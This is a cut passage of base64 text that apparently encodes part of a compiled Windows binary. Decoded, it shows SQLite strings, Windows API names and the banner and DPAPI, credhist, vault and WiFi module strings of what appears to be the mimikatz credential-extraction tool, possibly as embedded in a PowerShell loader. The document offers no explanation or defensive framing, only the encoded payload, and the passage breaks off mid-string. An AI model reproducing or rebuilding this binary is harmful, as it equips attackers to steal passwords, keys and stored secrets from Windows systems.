RoICVzIGRhdGFiYXNlIGNvbm5lY3Rpb24gcG9pbnRlcgAAAAB1bm9wZW5lZAAAAAAAAAAAaW52YWxpZABBcmVGaWxlQXBpc0FOU0kAQ2hhckxvd2VyVwAAAAAAAENoYXJVcHBlclcAAAAAAABDbG9zZUhhbmRsZQAAAAAAQ3JlYXRlRmlsZUEAAAAAAENyZWF0ZUZpbGVXAAAAAABDcmVhdGVGaWxlTWFwcGluZ0EAAAAAAABDcmVhdGVGaWxlTWFwcGluZ1cAAAAAAABDcmVhdGVNdXRleFcAAAAARGVsZXRlRmlsZUEAAAAAAERlbGV0ZUZpbGVXAAAAAABGaWxlVGltZVRvTG9jYWxGaWxlVGltZQBGaWxlVGltZVRvU3lzdGVtVGltZQAAAABGbHVzaEZpbGVCdWZmZXJzAAAAAAAAAABGb3JtYXRNZXNzYWdlQQAARm9ybWF0TWVzc2FnZVcAAEZyZWVMaWJyYXJ5AAAAAABHZXRDdXJyZW50UHJvY2Vzc0lkAAAAAABHZXREaXNrRnJlZVNwYWNlQQAAAAAAAABHZXREaXNrRnJlZVNwYWNlVwAAAAAAAABHZXRGaWxlQXR0cmlidXRlc0EAAAAAAABHZXRGaWxlQXR0cmlidXRlc1cAAAAAAABHZXRGaWxlQXR0cmlidXRlc0V4VwAAAABHZXRGaWxlU2l6ZQAAAAAAR2V0RnVsbFBhdGhOYW1lQQAAAAAAAAAAR2V0RnVsbFBhdGhOYW1lVwAAAAAAAAAAR2V0TGFzdEVycm9yAAAAAEdldFByb2NBZGRyZXNzQQBHZXRTeXN0ZW1JbmZvAAAAR2V0U3lzdGVtVGltZQAAAEdldFN5c3RlbVRpbWVBc0ZpbGVUaW1lAEdldFRlbXBQYXRoQQAAAABHZXRUZW1wUGF0aFcAAAAAR2V0VGlja0NvdW50AAAAAEdldFZlcnNpb25FeEEAAABHZXRWZXJzaW9uRXhXAAAASGVhcEFsbG9jAAAAAAAAAEhlYXBDcmVhdGUAAAAAAABIZWFwRGVzdHJveQAAAAAASGVhcEZyZWUAAAAAAAAAAEhlYXBSZUFsbG9jAAAAAABIZWFwU2l6ZQAAAAAAAAAASGVhcFZhbGlkYXRlAAAAAEhlYXBDb21wYWN0AAAAAABMb2FkTGlicmFyeUEAAAAATG9hZExpYnJhcnlXAAAAAExvY2FsRnJlZQAAAAAAAABMb2NrRmlsZQAAAAAAAAAATG9ja0ZpbGVFeAAAAAAAAE1hcFZpZXdPZkZpbGUAAABNdWx0aUJ5dGVUb1dpZGVDaGFyAAAAAABRdWVyeVBlcmZvcm1hbmNlQ291bnRlcgBSZWFkRmlsZQAAAAAAAAAAU2V0RW5kT2ZGaWxlAAAAAFNldEZpbGVQb2ludGVyAABTbGVlcAAAAFN5c3RlbVRpbWVUb0ZpbGVUaW1lAAAAAFVubG9ja0ZpbGUAAAAAAABVbmxvY2tGaWxlRXgAAAAAVW5tYXBWaWV3T2ZGaWxlAFdpZGVDaGFyVG9NdWx0aUJ5dGUAAAAAAFdyaXRlRmlsZQAAAAAAAABDcmVhdGVFdmVudEV4VwAAV2FpdEZvclNpbmdsZU9iamVjdAAAAAAAV2FpdEZvclNpbmdsZU9iamVjdEV4AAAAU2V0RmlsZVBvaW50ZXJFeAAAAAAAAAAAR2V0RmlsZUluZm9ybWF0aW9uQnlIYW5kbGVFeAAAAABNYXBWaWV3T2ZGaWxlRnJvbUFwcAAAAABDcmVhdGVGaWxlMgAAAAAATG9hZFBhY2thZ2VkTGlicmFyeQAAAAAAR2V0VGlja0NvdW50NjQAAEdldE5hdGl2ZVN5c3RlbUluZm8AAAAAAE91dHB1dERlYnVnU3RyaW5nQQAAAAAAAE91dHB1dERlYnVnU3RyaW5nVwAAAAAAAEdldFByb2Nlc3NIZWFwAABDcmVhdGVGaWxlTWFwcGluZ0Zyb21BcHAAAAAAAAAAAEludGVybG9ja2VkQ29tcGFyZUV4Y2hhbmdlAAAAAAAAVXVpZENyZWF0ZQAAAAAAAFV1aWRDcmVhdGVTZXF1ZW50aWFsAAAAAEZsdXNoVmlld09mRmlsZQBPc0Vycm9yIDB4JWx4ICglbHUpACVzAABvc193aW4uYzolZDogKCVsdSkgJXMoJXMpIC0gJXMAAGRlbGF5ZWQgJWRtcyBmb3IgbG9jay9zaGFyaW5nIGNvbmZsaWN0IGF0IGxpbmUgJWQAAAAAAAAAd2luU2Vla0ZpbGUAAAAAAHdpbkNsb3NlAAAAAAAAAAB3aW5SZWFkAHdpbldyaXRlMQAAAAAAAAB3aW5Xcml0ZTIAAAAAAAAAd2luVHJ1bmNhdGUxAAAAAHdpblRydW5jYXRlMgAAAAB3aW5TeW5jMQAAAAAAAAAAd2luU3luYzIAAAAAAAAAAHdpbkZpbGVTaXplAAAAAAB3aW5VbmxvY2tSZWFkTG9jawAAAAAAAAB3aW5VbmxvY2sAAAAAAAAAd2luVW5tYXBmaWxlMQAAAHdpblVubWFwZmlsZTIAAAB3aW5NYXBmaWxlMQAAAAAAd2luTWFwZmlsZTIAAAAAAGV0aWxxc18Ad2luR2V0VGVtcG5hbWUxAHdpbkdldFRlbXBuYW1lMgB3aW5HZXRUZW1wbmFtZTMAd2luR2V0VGVtcG5hbWU0AHdpbkdldFRlbXBuYW1lNQB3aW5PcGVuAHBzb3cAAAAAd2luRGVsZXRlAAAAAAAAAHdpbkFjY2VzcwAAACVzJWMlcwAAAAAAAHdpbkZ1bGxQYXRobmFtZTEAAAAAAAAAAHdpbkZ1bGxQYXRobmFtZTIAAAAAAAAAAHdpbkZ1bGxQYXRobmFtZTMAAAAAAAAAAHdpbkZ1bGxQYXRobmFtZTQAAAAAd2luMzIAAAAAAAAAd2luMzItbG9uZ3BhdGgAAHJlY292ZXJlZCAlZCBwYWdlcyBmcm9tICVzAAAAAAAALWpvdXJuYWwAAAAAbm9sb2NrAAAAAAAAaW1tdXRhYmxlAAAAQCAgAG91dCBvZiBtZW1vcnkAAAAlbGxkAAAAACUhLjE1ZwAALQAAACVzJXMAAAAAAAAAACVzLW1qWFhYWFhYOVhYegBNSiBkZWxldGU6ICVzAAAATUogY29sbGlkZTogJXMAAC1taiUwNlg5JTAyWAAAAABBUEkgY2FsbGVkIHdpdGggZmluYWxpemVkIHByZXBhcmVkIHN0YXRlbWVudAAAAABBUEkgY2FsbGVkIHdpdGggTlVMTCBwcmVwYXJlZCBzdGF0ZW1lbnQAc3RyaW5nIG9yIGJsb2IgdG9vIGJpZwAAdW5hYmxlIHRvIHVzZSBmdW5jdGlvbiAlcyBpbiB0aGUgcmVxdWVzdGVkIGNvbnRleHQAAAAAAABiaW5kIG9uIGEgYnVzeSBwcmVwYXJlZCBzdGF0ZW1lbnQ6IFslc10ATk9UIE5VTEwAAAAAVU5JUVVFAABDSEVDSwAAAAAAAABGT1JFSUdOIEtFWQAAAAAAJXMgY29uc3RyYWludCBmYWlsZWQAAAAAJXo6ICVzAABhYm9ydCBhdCAlZCBpbiBbJXNdOiAlcwBjYW5ub3Qgb3BlbiBzYXZlcG9pbnQgLSBTUUwgc3RhdGVtZW50cyBpbiBwcm9ncmVzcwAAAAAAAG5vIHN1Y2ggc2F2ZXBvaW50OiAlcwAAAGNhbm5vdCByZWxlYXNlIHNhdmVwb2ludCAtIFNRTCBzdGF0ZW1lbnRzIGluIHByb2dyZXNzAAAAY2Fubm90IGNvbW1pdCB0cmFuc2FjdGlvbiAtIFNRTCBzdGF0ZW1lbnRzIGluIHByb2dyZXNzAABjYW5ub3Qgc3RhcnQgYSB0cmFuc2FjdGlvbiB3aXRoaW4gYSB0cmFuc2FjdGlvbgBjYW5ub3Qgcm9sbGJhY2sgLSBubyB0cmFuc2FjdGlvbiBpcyBhY3RpdmUAAAAAAABjYW5ub3QgY29tbWl0IC0gbm8gdHJhbnNhY3Rpb24gaXMgYWN0aXZlAAAAAAAAAABkYXRhYmFzZSBzY2hlbWEgaGFzIGNoYW5nZWQAAAAAAHNxbGl0ZV9tYXN0ZXIAAAAAAAAAAAAAAFNFTEVDVCBuYW1lLCByb290cGFnZSwgc3FsIEZST00gJyVxJy4lcyBXSEVSRSAlcyBPUkRFUiBCWSByb3dpZABzdGF0ZW1lbnQgYWJvcnRzIGF0ICVkOiBbJXNdICVzAG1pc3VzZSBvZiBhbGlhc2VkIGFnZ3JlZ2F0ZSAlcwAAbm8gc3VjaCBjb2x1bW4AAGFtYmlndW91cyBjb2x1bW4gbmFtZQAAACVzOiAlcy4lcy4lcwAAAAAlczogJXMuJXMAAAAlczogJXMAAAAAAABwYXJ0aWFsIGluZGV4IFdIRVJFIGNsYXVzZXMAAAAAAGluZGV4IGV4cHJlc3Npb25zAAAAAAAAACVzIHByb2hpYml0ZWQgaW4gJXMAAAAAAHRoZSAiLiIgb3BlcmF0b3IAAAAAAAAAAGZ1bmN0aW9ucwAAAAAAAAAAAAAAAAAAAHNlY29uZCBhcmd1bWVudCB0byBsaWtlbGlob29kKCkgbXVzdCBiZSBhIGNvbnN0YW50IGJldHdlZW4gMC4wIGFuZCAxLjAAAG5vbi1kZXRlcm1pbmlzdGljIGZ1bmN0aW9ucwAAAAAAbWlzdXNlIG9mIGFnZ3JlZ2F0ZSBmdW5jdGlvbiAlLipzKCkAAAAAAG5vIHN1Y2ggZnVuY3Rpb246ICUuKnMAAHdyb25nIG51bWJlciBvZiBhcmd1bWVudHMgdG8gZnVuY3Rpb24gJS4qcygpAAAAAHN1YnF1ZXJpZXMAAAAAAABwYXJhbWV0ZXJzAAAAAAAAJXIgJXMgQlkgdGVybSBvdXQgb2YgcmFuZ2UgLSBzaG91bGQgYmUgYmV0d2VlbiAxIGFuZCAlZAB0b28gbWFueSB0ZXJtcyBpbiBPUkRFUiBCWSBjbGF1c2UAAABPUkRFUgAAAAAAAAAlciBPUkRFUiBCWSB0ZXJtIGRvZXMgbm90IG1hdGNoIGFueSBjb2x1bW4gaW4gdGhlIHJlc3VsdCBzZXQAAAAAdG9vIG1hbnkgdGVybXMgaW4gJXMgQlkgY2xhdXNlAABhIEdST1VQIEJZIGNsYXVzZSBpcyByZXF1aXJlZCBiZWZvcmUgSEFWSU5HAEdST1VQAAAAAAAAAGFnZ3JlZ2F0ZSBmdW5jdGlvbnMgYXJlIG5vdCBhbGxvd2VkIGluIHRoZSBHUk9VUCBCWSBjbGF1c2UAAAAAAABFeHByZXNzaW9uIHRyZWUgaXMgdG9vIGxhcmdlIChtYXhpbXVtIGRlcHRoICVkKQB2YXJpYWJsZSBudW1iZXIgbXVzdCBiZSBiZXR3ZWVuID8xIGFuZCA/JWQAAAAAAAB0b28gbWFueSBTUUwgdmFyaWFibGVzAAB0b28gbWFueSBjb2x1bW5zIGluICVzAABfUk9XSURfAFJPV0lEAAAAT0lEAAAAAABvdmVyc2l6ZWQgaW50ZWdlcjogJXMlcwBtaXN1c2Ugb2YgYWdncmVnYXRlOiAlcygpAAAAAAAAAHVua25vd24gZnVuY3Rpb246ICVzKCkAACVzICVUIGNhbm5vdCByZWZlcmVuY2Ugb2JqZWN0cyBpbiBkYXRhYmFzZSAlcwAAAG5vIHN1Y2ggdGFibGUAAABjb3JydXB0IGRhdGFiYXNlAAAAAAAAAAB1bmtub3duIGRhdGFiYXNlICVUAAAAAABzcWxpdGVfAG9iamVjdCBuYW1lIHJlc2VydmVkIGZvciBpbnRlcm5hbCB1c2U6ICVzAAAAAAAAAHRhYmxlICVUIGFscmVhZHkgZXhpc3RzAHRoZXJlIGlzIGFscmVhZHkgYW4gaW5kZXggbmFtZWQgJXMAAAAAAAB0b28gbWFueSBjb2x1bW5zIG9uICVzAABkdXBsaWNhdGUgY29sdW1uIG5hbWU6ICVzAAAAAAAAAGRlZmF1bHQgdmFsdWUgb2YgY29sdW1uIFslc10gaXMgbm90IGNvbnN0YW50AAAAAHRhYmxlICIlcyIgaGFzIG1vcmUgdGhhbiBvbmUgcHJpbWFyeSBrZXkAAAAAAAAAAElOVEVHRVIALAAAACkAAAAKICAALAogIAAAAAAKKQAAQ1JFQVRFIFRBQkxFIAAAACBURVhUAAAAIE5VTQAAAAAgSU5UAAAAACBSRUFMAAAAQVVUT0lOQ1JFTUVOVCBub3QgYWxsb3dlZCBvbiBXSVRIT1VUIFJPV0lEIHRhYmxlcwAAAAAAAABQUklNQVJZIEtFWSBtaXNzaW5nIG9uIHRhYmxlICVzAHRhYmxlAAAAVEFCTEUAAABDUkVBVEUgJXMgJS4qcwAAAAAAAAAAAABVUERBVEUgJVEuJXMgU0VUIHR5cGU9JyVzJywgbmFtZT0lUSwgdGJsX25hbWU9JVEsIHJvb3RwYWdlPSMlZCwgc3FsPSVRIFdIRVJFIHJvd2lkPSMlZAAAdGJsX25hbWU9JyVxJyBBTkQgdHlwZSE9J3RyaWdnZXInAAAAAAAAAHNxbGl0ZV9zdGF0JWQAAABERUxFVEUgRlJPTSAlUS4lcyBXSEVSRSAlcz0lUQAAAERFTEVURSBGUk9NICVRLiVzIFdIRVJFIHRibF9uYW1lPSVRIGFuZCB0eXBlIT0ndHJpZ2dlcicAc3FsaXRlX3N0YXQAAAAAAHRhYmxlICVzIG1heSBub3QgYmUgZHJvcHBlZAB0YmwAaW5kZXgAAABjYW5ub3QgY3JlYXRlIGEgVEVNUCBpbmRleCBvbiBub24tVEVNUCB0YWJsZSAiJXMiAAAAAAAAAGFsdGVydGFiXwAAAAAAAAB0YWJsZSAlcyBtYXkgbm90IGJlIGluZGV4ZWQAAAAAAHRoZXJlIGlzIGFscmVhZHkgYSB0YWJsZSBuYW1lZCAlcwAAAAAAAABpbmRleCAlcyBhbHJlYWR5IGV4aXN0cwBzcWxpdGVfYXV0b2luZGV4XyVzXyVkAABleHByZXNzaW9ucyBwcm9oaWJpdGVkIGluIFBSSU1BUlkgS0VZIGFuZCBVTklRVUUgY29uc3RyYWludHMAAAAAY29uZmxpY3RpbmcgT04gQ09ORkxJQ1QgY2xhdXNlcyBzcGVjaWZpZWQAAAAAAAAAIFVOSVFVRQBDUkVBVEUlcyBJTkRFWCAlLipzAAAAAABJTlNFUlQgSU5UTyAlUS4lcyBWQUxVRVMoJ2luZGV4JywlUSwlUSwjJWQsJVEpOwBuYW1lPSclcScgQU5EIHR5cGU9J2luZGV4JwAAAAAAAG5vIHN1Y2ggaW5kZXg6ICVTAAAAAAAAAAAAAAAAAAAAaW5kZXggYXNzb2NpYXRlZCB3aXRoIFVOSVFVRSBvciBQUklNQVJZIEtFWSBjb25zdHJhaW50IGNhbm5vdCBiZSBkcm9wcGVkAAAAAAAAAABERUxFVEUgRlJPTSAlUS4lcyBXSEVSRSBuYW1lPSVRIEFORCB0eXBlPSdpbmRleCcAAAAAaWR4AE9OAABVU0lORwAAAAAAAABhIEpPSU4gY2xhdXNlIGlzIHJlcXVpcmVkIGJlZm9yZSAlcwAAAAAAaW5kZXggJyVxJwAALCAAACVzLiVzAAAAJXMucm93aWQAAAAAAAAAAGR1cGxpY2F0ZSBXSVRIIHRhYmxlIG5hbWU6ICVzAAAAbm8gc3VjaCBjb2xsYXRpb24gc2VxdWVuY2U6ICVzAAB0YWJsZSAlcyBtYXkgbm90IGJlIG1vZGlmaWVkAAAAAHJvd3MgZGVsZXRlZAAAAABpbnRlZ2VyAHRleHQAAAAAcmVhbAAAAABibG9iAAAAAG51bGwAAAAAaW50ZWdlciBvdmVyZmxvdwAAAAAAAAAATElLRSBvciBHTE9CIHBhdHRlcm4gdG9vIGNvbXBsZXgAAAAAAAAAAEVTQ0FQRSBleHByZXNzaW9uIG11c3QgYmUgYSBzaW5nbGUgY2hhcmFjdGVyAAAAACUhLjIwZQAAIAAAAE1BVENIAAAAbGlrZQAAAABnbG9iAAAAAAAAAAB1bmxpa2VseQAAAAAAAAAAbGlrZWxpaG9vZAAAbGlrZWx5AABsdHJpbQAAAHJ0cmltAAAAdHJpbQAAAABtaW4AbWF4AHR5cGVvZgAAbGVuZ3RoAABpbnN0cgAAAHByaW50ZgAAAAAAAHVuaWNvZGUAY2hhcgAAAABhYnMAdXBwZXIAAABsb3dlcgAAAGhleABpZm51bGwAAHJhbmRvbQAAcmFuZG9tYmxvYgAAbnVsbGlmAAAAAAAAc3FsaXRlX3ZlcnNpb24AAHNxbGl0ZV9zb3VyY2VfaWQAAAAAAAAAAHNxbGl0ZV9sb2cAAHF1b3RlAAAAAAAAAGxhc3RfaW5zZXJ0X3Jvd2lkAAAAAAAAAGNoYW5nZXMAdG90YWxfY2hhbmdlcwAAAHJlcGxhY2UAemVyb2Jsb2IAAAAAc3Vic3RyAABzdW0AdG90YWwAAABhdmcAY291bnQAAAAAAAAAZ3JvdXBfY29uY2F0AAAAAGNvYWxlc2NlAAAAAAAAAAB0YWJsZSAlUyBoYXMgbm8gY29sdW1uIG5hbWVkICVzAHRhYmxlICVTIGhhcyAlZCBjb2x1bW5zIGJ1dCAlZCB2YWx1ZXMgd2VyZSBzdXBwbGllZAAAAAAAJWQgdmFsdWVzIGZvciAlZCBjb2x1bW5zAAAAAAAAAAByb3dzIGluc2VydGVkAAAAYXV0b21hdGljIGV4dGVuc2lvbiBsb2FkaW5nIGZhaWxlZDogJXMAAD8AAAAAAAAAbWFsZm9ybWVkIGRhdGFiYXNlIHNjaGVtYSAoJXMpAAAleiAtICVzAGNyZWF0ZSAAaW52YWxpZCByb290cGFnZQAAAAAAAAAAAAAAAAAAAABDUkVBVEUgVEFCTEUgeCh0eXBlIHRleHQsbmFtZSB0ZXh0LHRibF9uYW1lIHRleHQscm9vdHBhZ2UgaW50ZWdlcixzcWwgdGV4dCkAAAAAAGF0dGFjaGVkIGRhdGFiYXNlcyBtdXN0IHVzZSB0aGUgc2FtZSB0ZXh0IGVuY29kaW5nIGFzIG1haW4gZGF0YWJhc2UAAAAAAHVuc3VwcG9ydGVkIGZpbGUgZm9ybWF0AFNFTEVDVCBuYW1lLCByb290cGFnZSwgc3FsIEZST00gIiV3Ii4lcyBPUkRFUiBCWSByb3dpZAAAc3RhdGVtZW50IHRvbyBsb25nAAAAAAAAdW5rbm93biBvciB1bnN1cHBvcnRlZCBqb2luIHR5cGU6ICVUICVUJXMlVAAAAAAAUklHSFQgYW5kIEZVTEwgT1VURVIgSk9JTnMgYXJlIG5vdCBjdXJyZW50bHkgc3VwcG9ydGVkAABhIE5BVFVSQUwgam9pbiBtYXkgbm90IGhhdmUgYW4gT04gb3IgVVNJTkcgY2xhdXNlAAAAAAAAAGNhbm5vdCBoYXZlIGJvdGggT04gYW5kIFVTSU5HIGNsYXVzZXMgaW4gdGhlIHNhbWUgam9pbgAAAAAAAAAAAABjYW5ub3Qgam9pbiB1c2luZyBjb2x1bW4gJXMgLSBjb2x1bW4gbm90IHByZXNlbnQgaW4gYm90aCB0YWJsZXMAVU5JT04gQUxMAAAAAAAAAElOVEVSU0VDVAAAAEVYQ0VQVAAAVU5JT04AAAByb3dpZAAAAAAAAABjb2x1bW4lZAAAAAAAAAAAJS4qejoldQBhbGwgVkFMVUVTIG11c3QgaGF2ZSB0aGUgc2FtZSBudW1iZXIgb2YgdGVybXMAAABTRUxFQ1RzIHRvIHRoZSBsZWZ0IGFuZCByaWdodCBvZiAlcyBkbyBub3QgaGF2ZSB0aGUgc2FtZSBudW1iZXIgb2YgcmVzdWx0IGNvbHVtbnMAAAAAAAAAbm8gc3VjaCBpbmRleDogJXMAAAAAAAAAJyVzJyBpcyBub3QgYSBmdW5jdGlvbgAAbXVsdGlwbGUgcmVmZXJlbmNlcyB0byByZWN1cnNpdmUgdGFibGU6ICVzAAAAAAAAY2lyY3VsYXIgcmVmZXJlbmNlOiAlcwAAdGFibGUgJXMgaGFzICVkIHZhbHVlcyBmb3IgJWQgY29sdW1ucwAAAG11bHRpcGxlIHJlY3Vyc2l2ZSByZWZlcmVuY2VzOiAlcwAAAAAAAAByZWN1cnNpdmUgcmVmZXJlbmNlIGluIGEgc3VicXVlcnk6ICVzAAAAdG9vIG1hbnkgcmVmZXJlbmNlcyB0byAiJXMiOiBtYXggNjU1MzUAACoAAAAAAAAAJXMuJXMuJXMAAAAAAAAAAG5vIHN1Y2ggdGFibGU6ICVzAAAAAAAAAG5vIHRhYmxlcyBzcGVjaWZpZWQAAAAAAHRvbyBtYW55IGNvbHVtbnMgaW4gcmVzdWx0IHNldAAARElTVElOQ1QgYWdncmVnYXRlcyBtdXN0IGhhdmUgZXhhY3RseSBvbmUgYXJndW1lbnQAAAAAAABubyBzdWNoIGNvbHVtbjogJXMAAAAAAAByb3dzIHVwZGF0ZWQAAAAAQklOQVJZAAB0b28gbWFueSBhcmd1bWVudHMgb24gJXMoKSAtIG1heCAlZAAAAAAAbm8gcXVlcnkgc29sdXRpb24AAAAAAAAAYXQgbW9zdCAlZCB0YWJsZXMgaW4gYSBqb2luAAAAAAB0b28gbWFueSB0ZXJtcyBpbiBjb21wb3VuZCBTRUxFQ1QAAAAAAAAAc3ludGF4IGVycm9yIGFmdGVyIGNvbHVtbiBuYW1lICIlLipzIgAAAHBhcnNlciBzdGFjayBvdmVyZmxvdwAAAHVua25vd24gdGFibGUgb3B0aW9uOiAlLipzAAAAAAAAc2V0IGxpc3QAAAAAAAAAAG5lYXIgIiVUIjogc3ludGF4IGVycm9yAHRvbyBtYW55IGFyZ3VtZW50cyBvbiBmdW5jdGlvbiAlVAAAAAAAAAB1bnJlY29nbml6ZWQgdG9rZW46ICIlVCIAAAAAAAAAADIwMTYtMDUtMTggMTA6NTc6MzAgZmM0OWY1NTZlNDg5NzA1NjFkN2FiNmEyZjI0ZmRkN2Q5ZWI4MWZmMgAAAAAAAAAAAAAAAHVuYWJsZSB0byBjbG9zZSBkdWUgdG8gdW5maW5hbGl6ZWQgc3RhdGVtZW50cyBvciB1bmZpbmlzaGVkIGJhY2t1cHMAAAAAAG5vdCBhbiBlcnJvcgAAAABTUUwgbG9naWMgZXJyb3Igb3IgbWlzc2luZyBkYXRhYmFzZQAAAAAAYWNjZXNzIHBlcm1pc3Npb24gZGVuaWVkAAAAAAAAAABjYWxsYmFjayByZXF1ZXN0ZWQgcXVlcnkgYWJvcnQAAGRhdGFiYXNlIGlzIGxvY2tlZAAAAAAAAGRhdGFiYXNlIHRhYmxlIGlzIGxvY2tlZAAAAAAAAAAAYXR0ZW1wdCB0byB3cml0ZSBhIHJlYWRvbmx5IGRhdGFiYXNlAAAAAGludGVycnVwdGVkAAAAAABkaXNrIEkvTyBlcnJvcgAAZGF0YWJhc2UgZGlzayBpbWFnZSBpcyBtYWxmb3JtZWQAAAAAAAAAAHVua25vd24gb3BlcmF0aW9uAAAAAAAAAGRhdGFiYXNlIG9yIGRpc2sgaXMgZnVsbAAAAAAAAAAAdW5hYmxlIHRvIG9wZW4gZGF0YWJhc2UgZmlsZQAAAABsb2NraW5nIHByb3RvY29sAAAAAAAAAAB0YWJsZSBjb250YWlucyBubyBkYXRhAABjb25zdHJhaW50IGZhaWxlZAAAAAAAAABkYXRhdHlwZSBtaXNtYXRjaAAAAAAAAABsaWJyYXJ5IHJvdXRpbmUgY2FsbGVkIG91dCBvZiBzZXF1ZW5jZQAAbGFyZ2UgZmlsZSBzdXBwb3J0IGlzIGRpc2FibGVkAABhdXRob3JpemF0aW9uIGRlbmllZAAAAABhdXhpbGlhcnkgZGF0YWJhc2UgZm9ybWF0IGVycm9yAGJpbmQgb3IgY29sdW1uIGluZGV4IG91dCBvZiByYW5nZQAAAAAAAABmaWxlIGlzIGVuY3J5cHRlZCBvciBpcyBub3QgYSBkYXRhYmFzZQAAdW5rbm93biBlcnJvcgAAAGFib3J0IGR1ZSB0byBST0xMQkFDSwAAAHVuYWJsZSB0byBkZWxldGUvbW9kaWZ5IHVzZXItZnVuY3Rpb24gZHVlIHRvIGFjdGl2ZSBzdGF0ZW1lbnRzAAAAAAAAAAAAAHVuYWJsZSB0byBkZWxldGUvbW9kaWZ5IGNvbGxhdGlvbiBzZXF1ZW5jZSBkdWUgdG8gYWN0aXZlIHN0YXRlbWVudHMAZmlsZToAAAAAAAAAbG9jYWxob3N0AAAAAAAAAGludmFsaWQgdXJpIGF1dGhvcml0eTogJS4qcwB2ZnMAY2FjaGUAAABzaGFyZWQAAHByaXZhdGUAbW9kZQAAAABybwAAcncAAHJ3YwBtZW1vcnkAAGFjY2VzcwAAAAAAAG5vIHN1Y2ggJXMgbW9kZTogJXMAAAAAACVzIG1vZGUgbm90IGFsbG93ZWQ6ICVzAG5vIHN1Y2ggdmZzOiAlcwBOT0NBU0UAAFJUUklNAAAAbWFpbgAAAAB0ZW1wAAAAACVzIGF0IGxpbmUgJWQgb2YgWyUuMTBzXQAAAAAAAAAAZGF0YWJhc2UgY29ycnVwdGlvbgBtaXN1c2UAAAAAAABjYW5ub3Qgb3BlbiBmaWxlAAAAAAAAAAAAAAAAAAAAAAoAIAAgAC4AIwAjACMAIwAjAC4AIAAgACAAbQBpAG0AaQBrAGEAdAB6ACAAMgAuADEAIAAoAHgANgA0ACkAIABiAHUAaQBsAHQAIABvAG4AIABOAG8AdgAgADEAMAAgADIAMAAxADYAIAAxADUAOgAzADEAOgAxADQACgAgAC4AIwAjACAAXgAgACMAIwAuACAAIAAiAEEAIABMAGEAIABWAGkAZQAsACAAQQAgAEwAJwBBAG0AbwB1AHIAIgAKACAAIwAjACAALwAgAFwAIAAjACMAIAAgAC8AKgAgACoAIAAqAAoAIAAjACMAIABcACAALwAgACMAIwAgACAAIABCAGUAbgBqAGEAbQBpAG4AIABEAEUATABQAFkAIABgAGcAZQBuAHQAaQBsAGsAaQB3AGkAYAAgACgAIABiAGUAbgBqAGEAbQBpAG4AQABnAGUAbgB0AGkAbABrAGkAdwBpAC4AYwBvAG0AIAApAAoAIAAnACMAIwAgAHYAIAAjACMAJwAgACAAIABoAHQAdABwADoALwAvAGIAbABvAGcALgBnAGUAbgB0AGkAbABrAGkAdwBpAC4AYwBvAG0ALwBtAGkAbQBpAGsAYQB0AHoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAoAG8AZQAuAGUAbwApAAoAIAAgACcAIwAjACMAIwAjACcAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB3AGkAdABoACAAJQAyAHUAIABtAG8AZAB1AGwAZQBzACAAKgAgACoAIAAqAC8ACgAAAAoAbQBpAG0AaQBrAGEAdAB6ACgAcABvAHcAZQByAHMAaABlAGwAbAApACAAIwAgACUAcwAKAAAARQBSAFIATwBSACAAbQBpAG0AaQBrAGEAdAB6AF8AaQBuAGkAdABPAHIAQwBsAGUAYQBuACAAOwAgAEMAbwBJAG4AaQB0AGkAYQBsAGkAegBlAEUAeAA6ACAAJQAwADgAeAAKAAAAAABJAE4ASQBUAAAAAAAAAAAAQwBMAEUAQQBOAAAAAAAAAAAAAAAAAAAAPgA+AD4AIAAlAHMAIABvAGYAIAAnACUAcwAnACAAbQBvAGQAdQBsAGUAIABmAGEAaQBsAGUAZAAgADoAIAAlADAAOAB4AAoAAAAAADoAOgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAbQBpAG0AaQBrAGEAdAB6AF8AZABvAEwAbwBjAGEAbAAgADsAIAAiACUAcwAiACAAbQBvAGQAdQBsAGUAIABuAG8AdAAgAGYAbwB1AG4AZAAgACEACgAAAAAAAAAKACUAMQA2AHMAAAAAAAAAIAAgAC0AIAAgACUAcwAAACAAIABbACUAcwBdAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAG0AaQBtAGkAawBhAHQAegBfAGQAbwBMAG8AYwBhAGwAIAA7ACAAIgAlAHMAIgAgAGMAbwBtAG0AYQBuAGQAIABvAGYAIAAiACUAcwAiACAAbQBvAGQAdQBsAGUAIABuAG8AdAAgAGYAbwB1AG4AZAAgACEACgAAAAAAAAAKAE0AbwBkAHUAbABlACAAOgAJACUAcwAAAAAAAAAAAAoARgB1AGwAbAAgAG4AYQBtAGUAIAA6AAkAJQBzAAAACgBEAGUAcwBjAHIAaQBwAHQAaQBvAG4AIAA6AAkAJQBzAAAAAAAAAGIAbABvAGIAAAAAAAAAAABEAGUAcwBjAHIAaQBiAGUAIABhACAARABQAEEAUABJACAAYgBsAG8AYgAsACAAdQBuAHAAcgBvAHQAZQBjAHQAIABpAHQAIAB3AGkAdABoACAAQQBQAEkAIABvAHIAIABNAGEAcwB0AGUAcgBrAGUAeQAAAAAAAABwAHIAbwB0AGUAYwB0AAAAAAAAAAAAAABQAHIAbwB0AGUAYwB0ACAAYQAgAGQAYQB0AGEAIAB2AGkAYQAgAGEAIABEAFAAQQBQAEkAIABjAGEAbABsAAAAbQBhAHMAdABlAHIAawBlAHkAAAAAAAAAAAAAAAAAAABEAGUAcwBjAHIAaQBiAGUAIABhACAATQBhAHMAdABlAHIAawBlAHkAIABmAGkAbABlACwAIAB1AG4AcAByAG8AdABlAGMAdAAgAGUAYQBjAGgAIABNAGEAcwB0AGUAcgBrAGUAeQAgACgAawBlAHkAIABkAGUAcABlAG4AZABpAG4AZwApAAAAYwByAGUAZABoAGkAcwB0AAAAAAAAAAAARABlAHMAYwByAGkAYgBlACAAYQAgAEMAcgBlAGQAaABpAHMAdAAgAGYAaQBsAGUAAAAAAAAAAABjAGEAcABpAAAAAAAAAAAAQwBBAFAASQAgAGsAZQB5ACAAdABlAHMAdAAAAAAAAABjAG4AZwAAAEMATgBHACAAawBlAHkAIAB0AGUAcwB0AAAAAAAAAAAAYwByAGUAZAAAAAAAAAAAAEMAUgBFAEQAIAB0AGUAcwB0AAAAAAAAAHYAYQB1AGwAdAAAAAAAAABWAEEAVQBMAFQAIAB0AGUAcwB0AAAAAAB3AGkAZgBpAAAAAAAAAAAAVwBpAEYAaQAgAHQAZQBzAHQAAAAAAAAAdwB3AGEAbgAAAAAAAAAAAFcAdwB